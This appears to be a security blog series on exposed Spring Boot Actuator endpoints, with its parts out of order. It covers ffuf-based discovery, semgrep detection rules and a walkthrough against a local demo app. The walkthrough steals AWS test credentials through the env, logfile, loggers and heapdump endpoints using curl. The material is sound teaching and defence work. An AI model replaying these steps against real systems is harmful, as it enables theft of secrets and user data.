Filtering Responses with ffuf

With this knowledge, we can start using the filtering functionality of ffuf. Briefly, you can tell it that a response must contain specific strings (using matchers), or inversely, cannot contain them (using filters). Using the knowledge about actuators, let's write a matcher that requires the response to contain the string {"_links":{"self": :

$ ffuf -w endpoints.txt:PATH -w domains.txt:DOMAIN -mr '{"_links":{"self":' -u http://DOMAIN/PATH

With this command, ffuf will only return responses that contain this substring, significantly cutting down on false positive results. You can also refine this further using additional matchers and filters, if you find that you are still getting too many incorrect responses. While this will likely not be necessary for this use case, in other situations, being able to filter based on response size or HTTP response code could be the more fruitful approach.

Other Options, and Why You Should Still Use ffuf

Of course, you can also use existing tools to find actuators - ZAP has an active scan rule for it, and Nuclei as well. So, why bother with ffuf?

Well, the existing Nuclei and ZAP rules are quite limited - they will not find actuators that are located on a different endpoint than /actuator (in the case of Nuclei), or only check for the /actuator/health endpoint (in the case of ZAP). So, you will likely miss a lot of potential targets when using them.

More importantly, I prefer to understand how my workflows are working and how I can tweak them. With ffuf, I have full control over the requests and can craft them however I need them. Add an authentication header (or a header required by the bug bounty program)? Sure, let's just add -H "Authorization: Bearer ... to the call. Or a cookie? -b "CookieName=value CookieName2=value2". Record the responses you receive? -od /path/to/folder.

ffuf is my swiss army knife for creating lots of HTTP requests, and I believe that it deserves a place in the toolbox of any security tester dealing with HTTP - regardless of if you want to use it for fuzzing, enumeration, or recon. This article only scratches the surface, and does not even mention features like recursion, or using extensions for your wordlists. If you want to know more, I recommend the epic tome of knowledge aptly named "Everything you need to know about ffuf" by Codingo and p4fg as a starting point.

Once again, I would like to thank the Security Community at my employer, iteratec, for their helpful input on this issue.

In the first part of this series, we have discussed the risks inherent in exposing the Actuator functionality of the Spring framework. If you haven't read that part yet, I recommend that you do so before reading this article.

In this article, we will discuss how we can detect exposed Spring Actuators in an application that you have source code access to. We will begin with manual steps, and then look at how you can automate the process using static security testing tools (dynamic testing will be covered in part 3 of the series).

Manually Looking for Exposed Actuators

The most basic method of finding dangerous actuators is to use... your eyeballs. If you have access to the application source code, you can look at the Spring configuration files to check if actuators are enabled, and how they are configured. Begin by checking the .properties file(s) (or the respective .yaml equivalents) where the Spring configuration is stored. Recall that the list of active actuators is controlled with the following key:

# Generic configuration for actuator endpoints, in this case
# activating two endpoints: health and prometheus
management.endpoints.web.exposure.include=health,prometheus

This setting controls which endpoints are exposed over the web. Individual endpoints can also be completely disabled by setting management.endpoints.$ACTUATOR.enabled=false - as a rule of thumb, I would recommend inspecting everything in the management category and see if any dangerous endpoints are being activated, and if so, if mitigations (authentication requirements, ...) are already in place.

(All examples in this article are targeting the current version of Spring - older versions may use a different configuration syntax, or even (in the case of Spring 1.X) expose all actuators by default. Adapt what you read to your version of Spring, if necessary.)

Automating the Search Using Semgrep

Checking the code manually isn't always feasible. Maybe you are part of a security team that is responsible for a large set of software repositories, or maybe you want to add a check for dangerous actuators to your CI, to ensure that they aren't inadvertently activated a few weeks down the line.

For these cases, let me introduce you to my favourite static code analysis tool: semgrep. It's a free Open Source tool that you can install and use right now (it only starts costing money if you want to use their dashboard to view the results, which is entirely optional, and all code scanning runs on your device - code is never uploaded to any servers). Stated briefly, semgrep searches for code matching specific patterns, taking the semantics of the code into account (hence, semantic grep). You can use it for security checks based on a large set of detection rules curated by the semgrep community, but where it really shines is when you start writing rules for your own use cases.

The Basic Case: All Actuators

Semgrep rules are fairly easy to wrap your head around, so let's build one for our example application from the previous part of this series. To be able to showcase some of the capabilities of semgrep, we'll be using the YAML configuration syntax for Spring. This is what a basic vulnerable Spring configuration could look like:

management:
  endpoints:
    web:
      exposure:
        # Activate all Actuators (this is a bad idea!)
        include: "*"
        # Alternative syntax would be:
        # include:
        #   - "*"

Semgrep patterns are also specified in YAML files. Here's an annotated semgrep rule to find this case, with explanations what the components are doing.

# The rules file must begin with this top-level element, followed 
# by a list of rules
rules:
  # Every rule must have a unique ID
  - id: spring-actuator-fully-enabled
    # Now, we define which pattern we are looking for. In this 
    # case, we want to match both of the possible syntaxes for 
    # activating all actuators, so we use a pattern-either as a 
    # top-level element. This tells semgrep that it should match 
    # if at least one of the rules specified below matches the 
    # code.
    pattern-either:
      # The first pattern specifies the string syntax for the 
      # wildcard actuator setting.
      # Note the frequent use of ... in the rule. This tells 
      # semgrep "I don't care if there is other stuff here, 
      # keep searching until you find the next specified 
      # part". If we omitted them, semgrep would not match if 
      # any non-specified elements are in the YAML tree, even 
      # if the pattern we are looking for is *also* in there.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: "*"
      # Specify the second rule that matches the second way of 
      # defining the actuator activation.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include:
                    ... 
                    - "*"
    # Specify the message that should be shown if the rule matches
    message: Spring Boot Actuator is fully enabled. This exposes
      sensitive endpoints such as /actuator/env, /actuator/logfile, 
      /actuator/heapdump and others. Unless you have Spring 
      Security enabled or another means to protect these endpoints, 
      this functionality is available without authentication, 
      causing a severe security risk.
    # Activating all actuators is dangerous, so we set the severity 
    # to ERROR. This means that it could potentially fail a build, 
    # if we ran this as part of a CI job.
    severity: ERROR
    # Tell semgrep that the rule is for the YAML language. This 
    # will automatically cause it to only be evaluated for YAML 
    # files.
    languages:
      - yaml

This is already quite a handy rule to quickly audit a large codebase for an obvious misconfiguration. To run it, save it in a file, and then run it with semgrep like this:

$ semgrep -c path/to/semgrep-rule.yaml .
Scanning 2 files with 2 yaml rules.
  100%|███████████████████████████████████████████████████████████████|2/2 tasks

Findings:

  src/main/resources/application.yml 
     src.main.resources.spring-actuator-fully-enabled
        Spring Boot Actuator is fully enabled. This exposes sensitive
        endpoints such as /actuator/env, /actuator/logfile,
        /actuator/heapdump and others. Unless you have Spring Security
        enabled or another means to protect these endpoints, this
        functionality is available without authentication, causing a severe
        security risk.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       stuff:
          8┆         - "Nonsense"
          9┆       exposure:
         10┆         include: "*"
         11┆

Note that it outputs the entire matched area of the code for inspection. It also did not have any problems with the commented-out section, or with the other YAML keys I added to the config file. Pretty neat, and something that would be difficult to achieve with a regular grep call.

Matching Specific Actuators

The example above is already quite handy, but it only checks for the wildcard operator. Where semgrep really starts to shine is if we encounter a configuration like this:

management:
  endpoints:
    web:
      exposure:
        include:
          - "health"
          - "prometheus"
          - "logfile"
          - "env"
          - "heapdump"
          - "togglz"

Now, for the sake of argument, let's say you are fine with exposing your health endpoint (which can be reasonable in some situations), and you also find it acceptable to expose the Prometheus metrics (I wouldn't recommend it, but you do you). All other actuators should be disabled. But how can we check this using semgrep?

Fairly easily, it turns out. Semgrep has a powerful feature called "Metavariables", which allows you to pull specific parts of the code into a variable that you can then reuse in other parts of the rule. Normally, this would be used to track variables or function names while analyzing source code. However, we can also use it to pull out the list of activated actuators and match them against a list of known-accepted actuators. Here's an annotated rule that does this:

rules:
  - id: spring-actuator-dangerous-endpoints-enabled
    # This time, our top-level pattern operator is "patterns" 
    # (instead of pattern-either), which means that all patterns 
    # below need to match for the entire rule to produce a match.
    patterns:
      # First, we mostly reuse the existing pattern to get down to 
      # the level of the activated actuators. However, once we 
      # reach it,  we pull the actuators into a metavariable called 
      # $ACTUATOR. The rule will be evaluated once for every 
      # actuator in the list, meaning that we can produce more than 
      # one finding. Note the use of ... inside the 
      # include: [..., $ACTUATOR, ...]. This is used to indicate 
      # that the actuator can be in any location inside the list. 
      # If we were to write [$ACTUATOR, ...], we would only match 
      # the first in the list.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
      # Now comes the magic part :)
      # The metavariable-comparison operator allows us to pull 
      # in a metavariable and compare it using a python comparison 
      # operator. In this case, we explicitly cast the actuators to 
      # strings, and  then compare them to the list of actuators 
      # we want to allow.
      # Note that the "not VAR in LIST" syntax is due to a bug in
      # semgrep that prevented the "VAR not in LIST" construction
      # at the time of writing. In general, the latter should work
      # as well, as soon as the bug is fixed.
      - metavariable-comparison:
          metavariable: $ACTUATOR
          comparison: not str($ACTUATOR) in ["health", "prometheus"]
    # We can also use the metavariable in the message, so that we 
    # can directly output the offending actuator in the logs.
    message: Spring Boot Actuator "$ACTUATOR" is enabled. Depending 
      on the actuator, this can pose a significant security risk. 
      Please double-check if the actuator is needed and properly 
      secured.
    severity: ERROR
    languages:
      - yaml

If we run this rule against the configuration shown above, we get the following result:

$ semgrep -c path/to/rules.yaml .
Scanning 2 files with 2 yaml rules.
  100%|███████████████████████████████████████████████████████████████|2/2 tasks

Findings:

  src/main/resources/application.yml 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator ""en" is enabled. Depending on the actuator,
        this can pose a significant security risk. Please double-check if
        the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - "health"
         10┆           - "prometheus"
         11┆           - "logfile"
         12┆           - "env"
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator ""heapdum" is enabled. Depending on the
        actuator, this can pose a significant security risk. Please double-
        check if the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - "health"
         10┆           - "prometheus"
         11┆           - "logfile"
         12┆           - "env"
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
... two more findings like this, for ""logfil" and ""toggl" ...

You will note three things:

1. The output of the metavariable is a bit bugged - this is a known issue in semgrep at the time of writing, but it is purely cosmetic (internally, the matching works).
2. We get four matches, which is the expected number for the configuration file above - health and prometheus were ignored, as requested.
3. Although we defined the rule using the syntax include: [..., $ACTUATOR, ...], it still matched the syntax from the config file, as it knows that the inline list format and the "individual lines prefixed by a dash"-Syntax are equivalent. This semantic knowledge is what makes semgrep so powerful.

Excluding Findings

This is already a quite useful pattern. However, maybe your organization actually wants actuators to be active, and simply requires them to be running on a specific port or IP that is not exposed publicly. In that case, a configuration like this would be perfectly acceptable:

management:
  server:
    # Actuators only listen on localhost:8080
    address: 127.0.0.1
    port: 8080
  endpoints:
    web:
      exposure:
        include:
          - "health"
          - "prometheus"
          - "logfile"
          - "env"
          - "heapdump"
          - "togglz"

So, how can we tell semgrep "please find cases where actuators are active, but not if they are only listening on a specific IP"? Fairly easily, actually. Let's build a rule for that.

rules:
- id: spring-actuator-dangerous-endpoints-enabled
    patterns:
      # Pattern identical to the previous example
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
      # pattern identical to previous example
      - metavariable-comparison:
          metavariable: $ACTUATOR
          comparison: not str($ACTUATOR) in ["health", "prometheus"]
      # We add a third pattern, with the pattern-not directive. 
      # This means that any patterns that match this are not 
      # considered for the results. In this example, we exclude 
      # cases where the address for the management server is 
      # explicitly set to 127.0.0.1.
      - pattern-not: |
          management:
            ...
            server:
              ...
              address: 127.0.0.1
    message: Spring Boot Actuator "$ACTUATOR" is enabled, and not
      bound to 127.0.0.1. Depending on the actuator, this can pose 
      a significant security risk. Please double-check if the 
      actuator is needed and properly secured. Company policy is to
      only allow actuators to listen on 127.0.0.1 - you can achieve
      this by setting management.server.address to 127.0.0.1.
    severity: ERROR
    languages:
      - yaml

Or maybe you don't actually care which IP the actuator is listening on, as long as a port and IP are explicitly set - maybe because the set of possible allowed IPs is too large, or maybe because you think that if a team is going to go to the trouble of setting these two values, they know what they are doing and don't need your handholding. In this case, simply change the pattern-not to the following:

- pattern-not: |
    management:
      ...
      server:
        ...
        port: $PORT
        address: $ADDRESS

In this case, you simply tell semgrep "hey, I don't actually care what the values of the two metavariable are, just make sure they are present". As a bonus, semgrep knows that the order of keys in YAML doesn't matter, so you don't have to worry about what happens if the two keys are in a different order in the config file - semgrep will find them.

Conclusion

We could go on for quite a while in refining these patterns, but in the end, you will have to adapt them to your own situation. For example, maybe you are securing your Actuators using Spring Security, and simply need to check if the correct authentication requirements are configured. Or maybe you are exposing all active actuators, but have turned off most actuators that are enabled by default. All of these things can be checked with semgrep, if you know how to write the rules.

I would be remiss if I did not mention one limitation of semgrep: Currently, the semantic features of semgrep are not yet available for all programming languages. In particular, this is the reason why I worked with YAML configuration files for Spring in this article - going through the plain-text properties format would be a lot more annoying with semgrep, as you cannot use the implicit hierarchy that YAML gives you to structure your queries. You can still write semgrep rules against these files using the generic language model, but it is subject to some limitations. I recommend playing around with it to see if you can get your use case to work - the semgrep playground allows you to do so without installing anything on your device.

I have contributed the rules from this article (written in a slightly nicer way that would have taken a bit longer to explain, so I opted to go with simpler rules for this article) to the semgrep rule registry, including a rule that uses the generic mode to find Actuator activations in .properties files. You can find the final rules in this pull request on GitHub.

And as a bonus: If you want to scan a large set of Git repositories with a set of semgrep rules, I wrote about how you can do this using the OWASP secureCodeBox, an Open Source project that I am an active contributor to.

This concludes this part of the Spring Actuator security series. I hope that you have gained some appreciation for the power and flexibility of using static code analysis to aid you in securing your systems. In the next part, we will discuss how to find actuators in deployed software using dynamic testing.

Further Reading:

• The semgrep documentation and Getting Started tutorial
• The semgrep registry contains lots of rules for many issues, and you can contribute your own.
• The semgrep Slack is full of helpful and kind people who help you when you are stuck.

Once again, I would like to thank the Security Community at my employer, iteratec, for their input on this issue and feedback on the article. Additionally, I would like to thank the Semgrep community on Slack for their help in learning how to write rules - you rock!

What are Actuators?

Actuators expose information about the running Spring application via (amongst others) a REST API and can be used to retrieve data from the system, or even make configuration changes if configured (in)correctly. They can be quite helpful in debugging or monitoring a Spring application, but if you expose them too widely, things can get dangerous very quickly.

By default, only the health check endpoint is enabled over REST, listening at /actuator/health. However, it is possible to enable additional endpoints, for example to expose metrics to Prometheus for monitoring. This can be done through settings in the relevant .properties file (or its YAML equivalent):

# Enable Prometheus endpoint in addition to health check
management.endpoints.web.exposure.include=health,prometheus

It is also possible to enable all endpoints for access over REST, by using the following setting in the relevant .properties file:

# Do not do this! This is insecure!
management.endpoints.web.exposure.include=*

This is the config that I found during a recent engagement - and since the application was explicitly configured to expose all actuators without any authentication, I was curious to see what other actuators exist, and how they could be leveraged to attack the application. The result was this article series (and a call to the customer, telling them to make some changes to their configuration right now).

Exploiting Public Actuators

Conveniently, Spring provides a list of all actuators that are present by default and can be enabled. They include actuators for reading (and writing!) the log configuration, the application environment (including environment variables), and even the logs of the application. Even more conveniently, by default, it will show you the list of enabled actuators if you simply access /actuator, removing the guesswork out of determining which actuators you have to work with.

I've created a basic, vulnerable Spring application that exposes all endpoints, if you want to follow along at home. Running it locally on your machine and accessing the Spring actuators endpoint, you will get the following output:

$ curl localhost:8081/actuator | jq .
{
  "_links": {
    "self": {
      "href": "http://localhost:8081/actuator",
      "templated": false
    },
    "beans": {
      "href": "http://localhost:8081/actuator/beans",
      "templated": false
    },
    "caches": {
      "href": "http://localhost:8081/actuator/caches",
      "templated": false
    },
    "caches-cache": {
      "href": "http://localhost:8081/actuator/caches/{cache}",
      "templated": true
    },
    "health-path": {
      "href": "http://localhost:8081/actuator/health/{*path}",
      "templated": true
    },
    "health": {
      "href": "http://localhost:8081/actuator/health",
      "templated": false
    },
    "info": {
      "href": "http://localhost:8081/actuator/info",
      "templated": false
    },
    "conditions": {
      "href": "http://localhost:8081/actuator/conditions",
      "templated": false
    },
    "configprops": {
      "href": "http://localhost:8081/actuator/configprops",
      "templated": false
    },
    "configprops-prefix": {
      "href": "http://localhost:8081/actuator/configprops/{prefix}",
      "templated": true
    },
    "env-toMatch": {
      "href": "http://localhost:8081/actuator/env/{toMatch}",
      "templated": true
    },
    "env": {
      "href": "http://localhost:8081/actuator/env",
      "templated": false
    },
    "logfile": {
      "href": "http://localhost:8081/actuator/logfile",
      "templated": false
    },
    "loggers-name": {
      "href": "http://localhost:8081/actuator/loggers/{name}",
      "templated": true
    },
    "loggers": {
      "href": "http://localhost:8081/actuator/loggers",
      "templated": false
    },
    "heapdump": {
      "href": "http://localhost:8081/actuator/heapdump",
      "templated": false
    },
    "threaddump": {
      "href": "http://localhost:8081/actuator/threaddump",
      "templated": false
    },
    "metrics-requiredMetricName": {
      "href": "http://localhost:8081/actuator/metrics/{requiredMetricName}",
      "templated": true
    },
    "metrics": {
      "href": "http://localhost:8081/actuator/metrics",
      "templated": false
    },
    "scheduledtasks": {
      "href": "http://localhost:8081/actuator/scheduledtasks",
      "templated": false
    },
    "mappings": {
      "href": "http://localhost:8081/actuator/mappings",
      "templated": false
    }
  }
}

There have been some articles about exploiting actuators, which can even lead to remote code execution (RCE) on the machine running the application. Veracode discussed a series of paths to RCE in 2019 (although some of their methods no longer work on modern Spring versions). In this article, I wanted to highlight a few additional endpoints that can prove dangerous, to illustrate why you should be careful with this feature.

Exposing the Environment

Let's assume the application you are running is using environmental variables to pull in configuration values:

public class SecretConfig {
    protected static String DATABASE_CONNECTION = System.getenv("DB_CONN");
    protected static String SECRET_AWS_ACCESS_KEY = System.getenv("AWS_SECRET_KEY");
    protected static String SECRET_AWS_ACCESS_TOKEN = System.getenv("AWS_TOKEN");
}

One of the endpoints allows us to take a peek at the application environment. Let's see if we can get these tokens using the env actuator:

$ curl localhost:8081/actuator/env | jq .
// ... lots of stuff
"DB_CONN": {
    "value": "psql://server/db",
    "origin": "System Environment Property \"DB_CONN\""
},
// ... lots of stuff

So, we can read the DB connection string in plaintext from the actuator. Sweet. What about the AWS credentials? Well, the situation is a bit more complicated here:

"AWS_SECRET_KEY": {
    "value": "******",
    "origin": "System Environment Property \"AWS_SECRET_KEY\""
},
"AWS_TOKEN": {
    "value": "******",
    "origin": "System Environment Property \"AWS_TOKEN\""
},

As you can see, the data is being redacted. Spring automatically tries to redact sensitive values in the Actuator output, based on the name of the environment variable. If we had been more careless and chosen a different name, the data would be right here for the taking, but sadly, Spring has prevented us from trivially stealing the values here. But, there are of course other ways to achieve this goal.

Reading Logs

Let's assume that your application has the following code:

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // Log the AWS credentials for debugging, 
    // so we know if they got loaded correctly.
    logger.info("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

Assuming it is configured to log to a file, Spring helpfully exposes an endpoint called /actuator/logfile. Let's take a look at what this can give us:

$ curl localhost:8081/actuator/logfile   
[...]
2022-08-24 13:45:14.813  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world function...
2022-08-24 13:45:14.814  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials for debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest

And there we go - we can pull the AWS credentials right from the logs.

This is, admittedly, a bit far-fetched. No one in their right mind would log AWS credentials in a production environment, right? Okay, then let's make a few changes to the code to reflect this:

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // This is safe, as this logs on the DEBUG level,
    // while in production, the loglevel is set to INFO, 
    // so this will never be logged
    logger.debug("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

So you build, deploy, double-check that the logs are clean, and go to bed, knowing that your application is now safe - right?

Changing Log Configuration

Enter /actuator/loggers. This endpoint gives us the log configuration for the application, and looks something like this:

$ curl localhost:8081/actuator/loggers | jq .
{
  "levels": [
    "OFF",
    "ERROR",
    "WARN",
    "INFO",
    "DEBUG",
    "TRACE"
  ],
  "loggers": {
    // ...
    "com.example.demo": {
      "configuredLevel": null,
      "effectiveLevel": "INFO"
    },
    "com.example.demo.DemoApplication": {
      "configuredLevel": null,
      "effectiveLevel": "INFO"
    },
    // ...
  }
  // ...
}

So, we can see that the logger is configured to only log on the INFO level. Sure, this isn't great (the endpoint discloses a lot about the structure of the application, used dependencies, etc.), but it isn't immediately dangerous. What is dangerous is the fact that the logger configuration can also be changed from this actuator by sending a POST to the correct endpoint. In this case, I am setting the loglevel for the logger com.example.demo.DemoApplication to DEBUG:

$ curl -X POST localhost:8081/actuator/loggers/com.example.demo.DemoApplication -H 'Content-Type: application/json' -d '{"configuredLevel": "DEBUG"}'

Visit the page again, retrieve the logs - and there we go:

$ curl localhost:8081/actuator/logfile   
[...]
2022-08-24 13:57:37.774  INFO 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world function...
2022-08-24 13:57:37.774 DEBUG 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials for debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest

The logs are back, clearly showing that the application is now logging on the DEBUG level. Now you are seriously annoyed, and decide to do what you should have done before: get rid of the logging statement, as there really is no good reason for it to be there in the first place anyway.

@RequestMapping("/")
public String index() {
    logger.info("Entering hello world function...");
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // Do not log the AWS Credentials, this is dangerous! 
    // => Commented out for now.
    // logger.debug("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return "Hello World!";
}

Build, deploy, and finally we're safe. Right?

Actually, I'll Just Have Everything To Go, Please

Pulling data from logs is a really tedious task, and there is no guarantee for me (as an attacker) that the application will actually log interesting things. Sure, I could go ahead and set every single external library to the TRACE loglevel, collect the logs, and sift through them, but really, this seems like a lot of work I'd rather avoid doing, thank you very much. Why go to that trouble if I could instead just take... everything?

Well, lucky for me, there is /actuator/heapdump. This endpoint does exactly what it sounds like - it takes a copy of the Java heap (i.e., the memory of the application) and provides it to me as a large blob of binary data. Let's grab a copy and dig in.

$ curl localhost:8081/actuator/heapdump -o heap.bin

Now, since you have cleverly disabled the logging of AWS credentials, I can no longer just read them from the logs - but they are still in the heap of the application! Likely in the middle of a big chunk of meaningless binary data, but that's what the strings utility is for - it pulls sequences of printable characters from any file and presents them to you, newline-separated. You can then just pipe the whole thing through grep to find what you are looking for. For example, AWS credentials.

# Use -C 20 to see 20 lines before and after each match
$ strings heap.bin | grep -C 20 AKIA
[...]
AWS_TOKEN#
AWS_TOKEN!
TESTingSecretAccessTest#
TESTingSecretAccessTest!
[...]
AWS_SECRET_KEY#
AWS_SECRET_KEY!
AKIATESTTEST#
AKIATESTTEST!

And there we go - secrets, pulled directly from the brain of your application. In the same way, we could pull out cryptographic keys, API credentials, user data that the application is currently working on, internal API addresses, AWS resource identifiers, or whatever else the application is using. And at this point, there really isn't anything you can do about it.

Well, except, of course, not exposing your actuators.

Closing Notes

I've only gone through a small number of the actuators in this blog post, and these aren't even necessarily the most dangerous ones. The only arguably harmless endpoint is the health check actuator (which is also the only one that is enabled by default). Any other endpoint should be considered dangerous (yes, even the Prometheus endpoint you are using for monitoring your application, unless you are fine with showing the whole world your resource usage and whatever business metrics you are exposing through it). The best thing you can do it to turn off every endpoint you are not actively using, limit access to the others using the firewall, and add authentication requirements.

In the next parts of this blog series, I will discuss how to detect your exposed endpoints. We will begin with detecting them in your code, and then move on to detecting them with dynamic security scanners.

Further reading:

• The spring actuator documentation

• Veracode listing options for RCE using Spring Actuators

I would like to thank Jannik Hollenbach for his helpful feedback on an early version of this article. In addition, I would like to thank the Security Community at my employer, iteratec, for their input on this issue.